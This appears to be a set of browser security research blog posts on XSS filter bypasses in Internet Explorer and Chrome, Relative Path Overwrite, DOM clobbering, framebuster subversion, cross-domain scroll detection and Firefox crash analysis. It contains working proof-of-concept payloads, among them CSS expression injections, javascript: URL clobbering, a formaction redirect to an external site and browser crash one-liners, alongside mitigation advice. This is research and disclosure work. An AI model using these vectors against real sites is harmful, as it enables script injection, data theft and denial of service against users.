Bypassing the XSS filter using function reassignment

The XSS filter introduced in IE8 is a really powerful defence against XSS. I tested the filter for a number of years and found various bypasses one of which I would like to share with you now. You can read more about the filter and its goal in the following blog post.

Scope

There have been numerous public bypasses of the filter however very few within the intended scope of the filter. The filter blocks reflected XSS in HTML context, script, style and event context. It does not support attacks that use multiple parameters or same origin requests. Once you are aware of the intended scope the difficulty of bypassing the filter is very high.

Function reassignment

This bypass was fixed in later versions of Internet Explorer but still works in compatibility mode. You can use the vector in a penetration test by forcing the target site into compatibility mode using an iframe with an EmulateIE7 meta element as shown below.

<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />

This loads IE in emulate mode and the entire JavaScript engine will revert to an older mode enabling the vector to function. We need to setup a page with the target input inside a function argument in order to demonstrate the bypass. As you can see below the parameter “x” appears inside a string which calls the function “x”.


<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<script>
function x() {

}
<?php
$x = isset($_GET['x']) ? $_GET['x'] : '';
?>
x('<?php echo $x?>');
</script>

In older versions of Internet Explorer it’s possible to redefine a function within its calling arguments. This is very useful for bypassing the filter when your XSS hole executes within a function argument. To see how this works we pass a GET request to “x” within a payload that redefines the function “x” to alert and uses an argument before our break out string to pass to the function. The GET request looks like this:
somepage.php?x=1′,x=alert,’

The output of the page now looks like this:

<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<script>
function x() {

}
x('1',x=alert,'');
</script>

“1” is inserted at the start of the argument then we break out of the string and redefine the function “x” to alert then finish up by completing the string. The alert function only accepts 1 argument so our other arguments are ignored and alert(1) executes successfully.

Conclusion

As mentioned previously this vector was patched in later versions of IE however it will still work where a target site is in compatibility mode or you can force it into the older mode using iframes. The newer JavaScript engines in IE will not allow you to redefine functions within arguments. To protect against this vector you can force your site into standards mode by specifying a doctype or using the X-UA-Compatible header or meta element in edge mode. Preventing your site from being framed is also a good idea using the X-Frames-Option header and of course fixing the actual XSS hole in the first place is preferred.

RPO

Relative VS Absolute

RPO (Relative Path Overwrite) is a technique to take advantage of relative URLs by overwriting their target file. To understand the technique we must first look into the differences between relative and absolute URLs. An absolute URL is basically the full URL for a destination address including the protocol and domain name whereas a relative URL doesn’t specify a domain or protocol and uses the existing destination to determine the protocol and domain.

Absolute URL

https://hackvertor.co.uk/public

Relative URL
public/somedirectory

The relative URL shown will look for public and automatically include the domain before it based on the current domain name. There are two important variations of a relative URL, the first is we can use the current path and look for a directory within it such as “xyz” or use common directory traversal techniques such as “../xyz”. To see how these work within markup let’s take a look at a common relative URL used within a stylesheet.


<html>
<head>
<link href="styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
</body>
</html>

The link element above references “style.css” using a relative URL, depending where in the sites directory structure you are it will load the style sheet based on that. For example if you were in a directory called “xyz” then the style sheet would be loaded from “xyz/style.css”.
The interesting aspect of this is how the browser knows what a correct path is since it doesn’t have access to the server’s file system. The answer is it doesn’t. There is no way to determine a valid directory structure from outside the file system you can only make educated guesses and use http status codes to determine their existence.
The missing styles

I noticed something interesting with relative styles, manipulating the path of the site could result in styles failing to load. It occurred to me this was a flaw in some way but the pieces of the jigsaw didn’t make sense yet. How could it be exploited?

Normal site

Relative url manipulated

The two screenshots above show a site without manipulating with URL the styles load as expected however in the second screenshot the same site is loaded with an added forward slash and the relative style sheet does not load. Simply adding a forward slash at the end of the URL breaks the styles of the relative style. Looking in Firebug we can see the style wdn.css returns a 404 when we add the forward slash.

Relative urls returning 404

The screenshot shows the style sheet returning a 404 for a style that previously loaded fine without manipulating the path. If the style returns 404 maybe we can manipulate the relative URL further by changing the path. This is in essence what RPO is about, we try to change the relative URL to something we control although this book is about XSS it’s worth noting that manipulating relative URLs can be done for any such URL and isn’t restricted to XSS.

Quick CSS lesson

Since we are looking at manipulating a style sheet to something we control we must first understand CSS parsing in order to take advantage of it. There is an interesting piece of the CSS 2 specification that we are very interested in.
“In some cases, user agents must ignore part of an illegal style sheet. This specification defines ignore to mean that the user agent parses the illegal part (in order to find its beginning and end), but otherwise acts as if it had not been there.” CSS 2 specification.
Another piece of the jigsaw is added, CSS2 ignores illegal syntax which we can use by supplying a file that contains mixed content of CSS and something else. If we can fool the CSS parsing into ignoring the illegal syntax before our intended code we can get the CSS parser to load our code. CSS selectors offer the best way to do this since an invalid selector can be ignored and all the previous illegal syntax.
Invalid code

}*{color:#ccc;}

There are two tricks to ignore illegal code both involve selectors, depending on the CSS parser a single } will work or {}. We shall look at IE compat since the parser is quite loose and supports CSS expressions. A CSS expression looks like the following:


*{
xss:expression(alert(1));
}

The first part is a global selector “*” and the { opens the selector a custom property xss is used and then the expression contains JavaScript that executes alert(1).
Self-referencing
If we can make the style sheet self-reference for the page it’s on then we can use the CSS parsing to ignore the HTML and execute our custom CSS in IE compat. When a site includes a style sheet like the following:


<link href="styles.css" rel="stylesheet" type="text/css" />

We simply need to include a forward slash at the end of the URL and the style sheet will end up (if rewriting is available) loading the original page via what the browser thinks is a directory but is in fact the current page. E.g somepage.php/. Now that our style sheet is loading the web page we need to supply it with some CSS to execute, we can do this by mixing persistent data such as a first name or address think of this as both a reflective attack and a persistent attack but the persistent data contains CSS code.
To understand this it’s better to show the actual structure of the page and you to see the vector itself. Imagine we have a web page with some data we control such as “first name” the web page would look like the following.


<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<link href="styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
Hello {}*{xss:expression(open(alert(1)))}
</body>
</html>

PoC (IE ONLY): RPO example

The Meta element forces IE’s document mode into IE7 compat which is required to execute expressions. Our persistent text {}*{xss:expression(open(alert(1)))is included on the page and in a realistic scenario it would be a profile page or maybe a shared status update which is viewable by other users. We use “open” to prevent client side DoS with repeated executions of alert. A simple request of “rpo.php/” makes the relative style load the page itself as a style sheet. The actual request is “/labs/xss_horror_show/chapter7/rpo.php/styles.css” the browser thinks there’s another directory but the actual request is being sent to the document and that in essence is how an RPO attack works.

Further RPO attacks

You might wonder if the RPO attack is restricted to just relative URLs like “styles.css” the answer is no, it’s possible to attack URLs such as “../../styles.css” but in this case we need to provide levels of fake directories until the styles are loaded from the current document. “../” means look above the current directory; we need three levels of fake directories.


<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<link href="../../styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
Hello {}*{xss:expression(open(alert(1)))}
</body>
</html>

PoC: RPO example 2

This time because the relative URL is looking for a directory twice above the current directory we make a request of “/labs/xss_horror_show/chapter7/rpo2.php/styles.css” this means that you could also target a file in a different directory but in this case we pointed it back to the original html file. Note we could have done just rpo2.php/// but I provided the text of fake directory for clarity.
There are other variants such as using the @import command which is useful if length or characters are limited. Using the “}” to ignore the HTML again followed by an @import statement works perfectly fine on IE even though technically it’s invalid syntax to use an import statement in this way.
RPO isn’t restricted to IE, we can use the technique on other browsers but JavaScript isn’t supported in CSS on Chrome, Firefox, Opera or Safari. Another restriction is that a doctype cannot be included on the target document since this causes the CSS’s parsers to stop parsing the HTML file on non-IE browsers.


<html>
<head>
<link href="../../styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
Hello {}*{color:#ccc;}
</body>
</html>

PoC: RPO example 3

The document above changes the colour of the text to grey and works on every browser. It works in the same way as the previous PoC but this time uses pure CSS and no expressions. If a doctype was included in the document it would fail on every browser except if IE was in compat mode.
RPO attacks work on any type of document, it’s possible to change the target of image files for example but because the image files look for specific strings at the start of the file and the end result is only an image it makes RPO attacks less useful in these circumstances.
Reflected RPO
If the URL is outputted on the page we can send the XSS vector via the path. The following PHP example shows the URL being outputted on the page.


<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<link href="styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
Hello <?php echo $_SERVER['PHP_SELF']?>
</body>
</html>

There is a relative URL here and “echo $_SERVER[‘PHP_SELF’]” outputs the current URL of the page requested. We can exploit this by providing some CSS as part of the path since the relative URL will be loaded with our injection and then the CSS will be loaded from the HTML. On some configurations PHP_SELF will truncate the path information, in this instance PATH_INFO can be used.
PoC: RPO example 4

Summary

I consider relative URLs harmful since you cannot rely on the browser to correctly determine the correct directory and when used with so called “pretty URLs”. Pretty much everyone who has used relative URLs will be open to this type of attack if the path information is outputted or there is some persistent data that an attacker can manipulate. I recommend absolute URLs should be used throughout a site or relative URLs that begin with a forward slash since this is the only type of relative URL that isn’t vulnerable to a RPO attack because it starts at the document root.

Update..

It’s worth noting that a relative root url isn’t vulnerable to this sort of attack since the directory is take from the highest point in the structure and I think can’t be influenced the way a normal relative url can.

Sandboxed jQuery

My new personal challenge was to get jQuery working correctly in a sandboxed environment this proved to be really tricky. The first problem I encountered was my fake DOM environment wasn’t returning the correct value for nodeType on the document element, this made jQuery assume another state and breaking selectors. I ensured the DOM environment was correctly returning the node type & node name. Next my environment wasn’t returning Array.prototype.push and slice correctly, the functions I created was incorrectly returning false. I changed my object whitelist function to return the prototypes correctly.

I then got a strange error, push.apply is not writable I traced this down in the jQuery code and it seems I was making properties non-writable when rewriting arrays, in addition the length property wasn’t being written since it was referenced as length$ because it was sandboxed. The fix was to shadow the length property by creating a getter/setter on the rewritten object literals so calls to length$ where also update length of the object literal. Basically sizzle calls a push on a object and because it didn’t have a length property it wouldn’t work but now it’s shadowed it works fine.

You can see a small demo of sandboxed jQuery here.

X-Domain scroll detection on IE using focus

This is a pretty cool bug. I use the focus event on an iframe to detect if the iframe has been scrolled x-domain. It’s because IE fires the onfocus event of the iframe when the scroll occurs. This means using 1 network request we can discover if a site contains a particular id provided the page scrolls inside the iframe. Using multiple iframes you could quite easily bruteforce larger numbers or maybe a dictionary list of words and because we are using hash the future requests aren’t sent to the server.

First we need a page with an id we can scroll to.

<p>test</p>
<p>test</p>
<p>test</p>
<p>test</p>
<p>test</p>
<div id=1337>target</div>

When visiting this page it should jump to #1337 provided the window is small enough.

Next we create an iframe and attach an onfocus event:

<iframe src="http://hackvertor.co.uk/scroll/test.html" id="x" onfocus="alert('the iframe scrolled to: '+window.id);clearTimeout(timer)" name="x"></iframe>

Now we need to create the clicks to trigger the onfocus event and produce the scroll.


id=0;
var anchor = document.createElement('a');
anchor.target="x";
document.body.appendChild(anchor);

timer=setTimeout(function f(){
id++;
document.getElementById('pos').innerText = id;
anchor.href='http://hackvertor.co.uk/scroll/test.html#'+id;
anchor.click();
if(id<10000) {
timer=setTimeout(f,0);
}
},0)

The code keeps calling itself until 10,000 iterations or until the onfocus event fires and clears the timeout. Which it does on IE with 1337 :)

PoC

Epic fail IE

gaz:
omg more epic fail in IE :D

larry:
huh? :D

gaz:
what is “&#x0000041;” in IE compat?

larry:
hm A?

gaz:
no

larry:
?

gaz:
lol
?

larry:
NUL
?

gaz:
&#x0000041; –> ?
&#x000041; –> A

larry:
ah!
out of bounds
I get it

gaz:
what is this in IE compat: &#x41

larry:
:-h
A?

gaz:
no
lol
&#x41 –> &#x41

larry:
#!$% me!
:D
why??

gaz:
hahahhaha
what is &#x41 in standards?

larry:
A
?

gaz:
yeah haha

larry:
weeee

gaz:
how messed up is that? :D

larry:
entirely
as usual
:)

new operator

I was playing around with new operators when I noticed something cool and unexpected. If you return a function the new operator will not create a new object instance but instead return a function. This means that stuff like:

new new new new new new function f(){return f}

Is perfectly valid code. That made me think maybe it would cause a crash. Yep course it does on IE:
eval(Array(0xffff).join('new ')+'function f(){return f}')

ModLoad: 00000000`70af0000 00000000`70ba5000 C:\Windows\SysWOW64\MsSpellCheckingFacility.dll
ModLoad: 00000000`69a40000 00000000`69a8f000 C:\Windows\SysWOW64\Bcp47Langs.dll
ModLoad: 00000000`74cd0000 00000000`74cd3000 C:\WINDOWS\SysWOW64\Normaliz.dll
(1778.173c): C++ EH exception – code e06d7363 (first chance)
(1778.173c): Stack overflow – code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
JSCRIPT9!Scanner::Scan+0×8:
70e69742 53 push ebx

Just a stack overflow, I don’t think it’s exploitable but lets try and manipulate it further. Using unicode escapes changes the code slightly:

eval(Array(0xffff).join('\\u006e\u0065w ')+'function f(){return f}')

msvcrt!memcmp+0xc:
7506985c 56 push esi

I then thought about using different types of spaces and fuzzed them but had no success producing any form of exploitable crash, maybe you can?

Decoding complex non-alphanumeric JavaScript

@fkadev Challenged me to decode some complex non-alpha. See here http://t.co/z7lWyIu5ka. Luckily the techniques I’ve used previously such as monitoring the Function constructor calls would work in a sandboxed environment. I will walk you through how I did it. Hackvertor runs on a older sandbox I created called JSReg which runs much slower than Mental JS (the newer sandbox) but it still worked perfectly fine to decode the JavaScript.

First step is decode the first layer of non-alpha like so:
Decode jjencode

The next step is to replaced the sandboxed accessor calls using find & replace because we need to run the code in the sandbox again. Find replace.

Then finally we need to take the replaced code and execute again in the sandboxed environment and call the anon function to see the hidden variable. This will take a while because the parse time of the sandbox is quite slow. Decoded.

That’s it. The backdoored function constructor is very good for decoding JavaScript like this since we can record what’s being sent before it’s executed.

Hacking Firefox

I was playing with Firefox to see what crashes it and thought SVG might be a good place to look. I tried combinations of all elements nested together and came across problems with script.

<script>str='';for(i=0;i<0xefff;i++){str+='<script>AAAAAA';};document.write('<svg>'+str+'</svg>');</script>

This causes a complete crash in Firefox but is it only a DoS? It appears so. I booted up windbg…stack overflow push edi.

FragmentOrElement::SaveSubtreeState()
{
uint32_t i, count = mAttrsAndChildren.ChildCount();//this line overflows
for (i = 0; i < count; ++i) {
mAttrsAndChildren.ChildAt(i)->SaveSubtreeState();
}
}

Looks like a DoS to me, it crashes inconstantly but more consistently if you increase the value maybe if it was debugged when it doesn’t crash there might be something more interesting but I failed so I’m posting here.

DoS by Marquee

I looked outside of SVG and our old friend marquee had some fun for us.

<script>document.write(Array(184).join('<marquee>'))</script>

This causes the marquee crash

if (aIID.Equals(kThisImplCID))
foundInterface = static_cast(this);
else
NS_INTERFACE_MAP_END//appears to be this line

eax=70339e24 ebx=00000000 ecx=70b4d320 edx=70d9c4ac esi=0be7b004 edi=80000000
eip=6fe720c8 esp=00e63000 ebp=00e631dc iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202

6fe720c8 56 push esi

Crashes Firefox again but plain old Stack Exhaustion DoS again.

Possible stack corruption in Firefox using setAttribute

Lastly a pretty interesting crash that I reported to Mozilla which Boris stated it was safely crashing but in windbg there were a few indications of stack corruption and I was hoping to learn more when I reported it. I didn’t :/ so if you have some success please let me know as I was trying for ages. Here is my report to mozilla:

Here is a possible stack corruption in Firefox that’s I’ve been trying to exploit for a few days and I’ve finally given in and reported it. I would be super grateful to anyone who is willing to explain where I’m going right/wrong with this as I want to learn more about exploiting these bugs and also help mozilla in the process.

PoC
* Note if you increase the value to 0xfffff and more you can get outside of mozalloc and into non mozilla code.

Enough blabber. Ok so Firefox seems to crash when using setAttribute on
various html elements with a large selection of attributes. I couldn’t
narrow down exactly which are causing the problem but it could be just
having a lot of attributes. Passing a large string triggers the crash.

Exception Faulting Address: 0×74111988
First Chance Exception Type: STATUS_BREAKPOINT (0×80000003)

Faulting Instruction:74111988 int 3

Basic Block:
74111988 int 3

Exception Hash (Major/Minor): 0x142182e0.0x360c07ce

Hash Usage : Stack Trace:
Major+Minor : mozalloc!mozalloc_abort+0x2b
Major+Minor : xul!NS_DebugBreak_P+0x1c0
Major+Minor : xul!xpc::CompartmentPrivate::SetLocation+0x3fdf42
Major+Minor : xul!`anonymous namespace’::VirtualAllocHook+0x3f
Major+Minor : mozglue!chunk_alloc_mmap+0×17
Minor : MSVCR100!_getptd_noexit+0×74
Minor : MSVCR100!_errno+0×5
Minor : mozglue!je_malloc+0×369
Minor : xul!mozilla::dom::Element::SetAttr+0x5e2
Minor : xul!nsGenericHTMLElement::SetAttr+0x7a
Minor : xul!nsGenericHTMLFrameElement::SetAttr+0x1c
Minor : xul!mozilla::dom::Element::SetAttribute+0x1bd
Minor : xul!mozilla::dom::ElementBinding::setAttribute+0xa9
Minor : xul!mozilla::dom::ElementBinding::genericMethod+0×85
Minor : mozjs!js::mjit::EnterMethodJIT+0xbf
Minor : mozjs!CheckStackAndEnterMethodJIT+0×93
Minor : mozjs!js::Interpret+0x63bf
Minor : mozjs!js::RunScript+0xac
Minor : mozjs!js::ExecuteKernel+0×163
Minor : mozjs!js::Execute+0×83
Minor : mozjs!JS::Evaluate+0xd6
Minor : xul!nsJSContext::EvaluateString+0x20b
Minor : mozjs!JS::CompileOptions::CompileOptions+0×26
Minor : xul!nsQueryReferent::operator()+0×30
Minor : xul!nsCOMPtr_base::~nsCOMPtr_base+0xe
Minor : xul!nsIScriptElement::BeginEvaluating+0x3f
Minor : xul!nsScriptLoader::ProcessRequest+0x12f
Minor : xul!nsScriptLoader::ProcessScriptElement+0×251
Minor : xul!nsScriptElement::MaybeProcessScript+0xe5
Minor : xul!nsHtml5TreeOpExecutor::RunScript+0×60
Minor : xul!nsHtml5TreeOpExecutor::RunFlushLoop+0×314
Minor : xul!nsHtml5ExecutorFlusher::Run+0×14
Minor : xul!nsThread::ProcessNextEvent+0×279
Minor : xul!NS_ProcessNextEvent_P+0x2e
Minor : xul!mozilla::ipc::MessagePump::Run+0×46
Minor : xul!MessageLoop::RunHandler+0×51
Minor : xul!MessageLoop::Run+0×19
Minor : xul!nsBaseAppShell::Run+0x2c
Minor : xul!nsAppShell::Run+0×14
Minor : xul!XREMain::XRE_mainRun+0x37a
Minor : xul!XREMain::XRE_main+0xeb
Minor : xul!XRE_main+0×30
Minor : firefox!do_main+0x57e
Minor : firefox!wmain+0x7b0
Minor : firefox!__tmainCRTStartup+0×122
Minor : KERNEL32!BaseThreadInitThunk+0xe
Minor : ntdll!__RtlUserThreadStart+0×72
Minor : ntdll!_RtlUserThreadStart+0x1b
Instruction Address: 0×0000000074111988
Source File:
e:\builds\moz2_slave\rel-m-rel-w32_bld-000000000000\build\memory\mozalloc\mozalloc_abort.cpp
Source Line: 30

Description: Breakpoint
Short Description: Breakpoint
Exploitability Classification: UNKNOWN
Recommended Bug Title: Breakpoint starting at
mozalloc!mozalloc_abort+0x000000000000002b (Hash=0x142182e0.0x360c07ce)

What’s weird is that it hits a break point that I didn’t set. A software
breakpoint in Firefox maybe? And there’s indication of stack corruption
because symbols aren’t found. I mess around with this and it’s possible
to break out of the mozalloc into another handler (outside the mozilla
code) I’m assuming this is good because it gets to memory it shouldn’t.

I looked in the calls window in windbg and so this:
03 0114d71c 74a47107 xul!`anonymous namespace’::VirtualAllocHook(void *
aAddress = 0×41414141, unsigned long aSize = 0×41414141, unsigned long
aAllocationType = 0×41414141, unsigned long aProtect = 0×41414141)+0x3f
(FPO: [Non-Fpo]) (CONV: stdcall)

Which looks cool to me since my code seems to be controlling the address
but still no idea what do now. I tried heap spraying to 0c0c0c0c and
change the string I send to \u0c0c0c but with no success.

Increasing the size of the string to 0xffffff results in a different
handler being called (I’m assuming some ms dll).

Basic Block:
74aa2357 rep movs dword ptr es:[edi],dword ptr [esi]
Tainted Input operands: ‘ecx’,'edi’,'esi’
74aa2359 jmp dword ptr msvcr100!trailupvec (74aa2470)[edx*4]

Exception Hash (Major/Minor): 0x7bb0290d.0x5be6096d

Hash Usage : Stack Trace:
Major+Minor : MSVCR100!memmove+0×57
Major+Minor : xul!AtomImpl::AtomImpl+0×92
Major+Minor : xul!NS_NewAtom+0x8b
Major+Minor : xul!nsAttrValue::ParseAtomArray+0xa6
Major+Minor : xul!nsGenericHTMLElement::ParseAttribute+0x1b5
Minor : xul!nsHTMLIFrameElement::ParseAttribute+0×89
Instruction Address: 0x0000000074aa2357
Source File: f:\dd\vctools\crt_bld\SELF_X86\crt\src\Intel\MEMCPY.ASM
Source Line: 185

Description: User Mode Write AV near NULL
Short Description: WriteAVNearNull
Exploitability Classification: UNKNOWN
Recommended Bug Title: User Mode Write AV near NULL starting at
MSVCR100!memmove+0×0000000000000057 (Hash=0x7bb0290d.0x5be6096d)

User mode write access violations that are near NULL are unknown.

DOM Clobbering

The DOM is a mess. In an effort to support legacy quick short cuts such as “form.name” etc the browsers have created a Frankenstein monster. This is well known of course but I just wonder how far the rabbit hole goes. I’m gonna share what I discovered over the years.

HTML Collections

First up is my favourite “HTML Collections”, when html elements are combined into groups they become a collection. You can actually force a collection by giving an element the same name. Such as:

<input id=x><input id=x><script>alert(x)</script>

On IE “x” alerts “Object HTML Collection”. What’s interesting is there are two ways of doing this, via name and via id, because it’s an array like structure you can reference each element by the order they appear in the collection e.g. collection[0] is the first element. We can use this functionality to “clobber” variables into window to create some interesting stuff. An example of this:

<a href="invalid:1" id=x name=y>test</a>
<a href="invalid:2" id=x name=y>test</a>
<script>alert(x.y[0])</script>

What is especially odd is that a collection constructed like this can refer to itself forever, for example:

<script>
alert(x.y.x.y.x.y[0]);
alert(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]);
</script>

When the elements become a collection this of course removes the normal properties/methods on the HTML element if it was being referenced by name.

<a href=1 name=x>test</a>
<a href=1 name=x>test</a>
<script>
alert(x.removeChild)//undefined
alert(x.parentNode)//undefined
</script>

You can see how that could cause problems :)

Variable assignments cause anchor href modifications

This is a very old bug probably a few years old now, it was rediscovered by @gsnedders. On IE a global variable with the same name as an anchor element caused modification of that anchors href. For example

<a href="123" id=x>test</a>
<script>
x='javascript:alert(1)'//only in compat!
;</script>

If you have an anchor named “x” and an assignment with the same name then even if it is fully encoded you can still inject XSS by modifying the anchor directly.

Framebusters busted

Lastly on my trip down memory lane I have another interesting bug that was again found many moons ago. You might be familiar with code similar to this:

<script>
if(top!=self){
 top.location=self.location
}
</script>

It’s checking if the top most window is the same as the current window (usually to prevent a page being framed). If we can clobber a form before the check then we can fool the logic into thinking that self is a form and “self.location” is an attribute on that form like this:

<form name=self location="javascript:alert(1)"></form>
<script>
if(top!=self){
 top.location=self.location
}
</script>

Which fires the alert! But there’s more, since an attribute is decoded when it’s accessed we can encode the colon of course but because on IE when the assignment occurs it’s also decoded we can now double encode! Which means this is perfectly valid too:

<form name=self location="javascript&amp;#58;alert(1)"></form>
<script>
if(top!=self){
 top.location=self.location
}
</script>

In conclusion the DOM is a mess.

Bypassing XSS Auditor

I had a look at XSS Auditor for a bit of fun because Mario said it’s getting harder to bypass. Hmmm I don’t agree. I seem to remember the same flaws are present from the last time I checked it with a little variation. It is also a very limited XSS filter not supporting detection of script based attacks (very common). Another thing I noticed is it doesn’t actually detect attacks either it simply flags a valid attack based on a character WTF. Anyway I had a couple of hours to check and although it detected basic attacks I could bypass the external domain restriction it has on iframes, external form action restriction and execute XSS too.

Bypassing form action

I’m embarrassed it’s too easy. Simply injecting formaction you can use an external url. Action is restricted to relative urls formaction is not. Doh.

<form><input type=submit formaction=//google.com><textarea name=x>

PoC

Bypassing external iframe restriction

I’m embarrassed it’s too easy. Using a target to change the injected iframe address works because the parent/child relationship even across domains still works and you can force the click changing the url of the injected iframe using the target name of the iframe.

<iframe src="http://challenge.hackvertor.co.uk/test.php?x=<iframe name=x></iframe>"></iframe><a href="http://businessinfo.co.uk" target=x id=x></a><script>window.onload=function(){x.click()}</script>

PoC

Bypassing XSS detection

You can inject a anchor with a javascript url if the injection occurs next to an existing anchor element these are accounted for by the filter by trying to detect if the is a & or forward slash etc. They tried to cover all js comment but forgot two things, first ––> is a single line comment in javascript and the paragraph/line separators can activate it just like a new line since it needs to start on it’s own line to work on Chrome.

PoC1 using anchor

PoC2 using iframe

A gift from Mario

Here is Mario Heiderich’s full bypass with an awesome vector. Added here with his permission.

PoC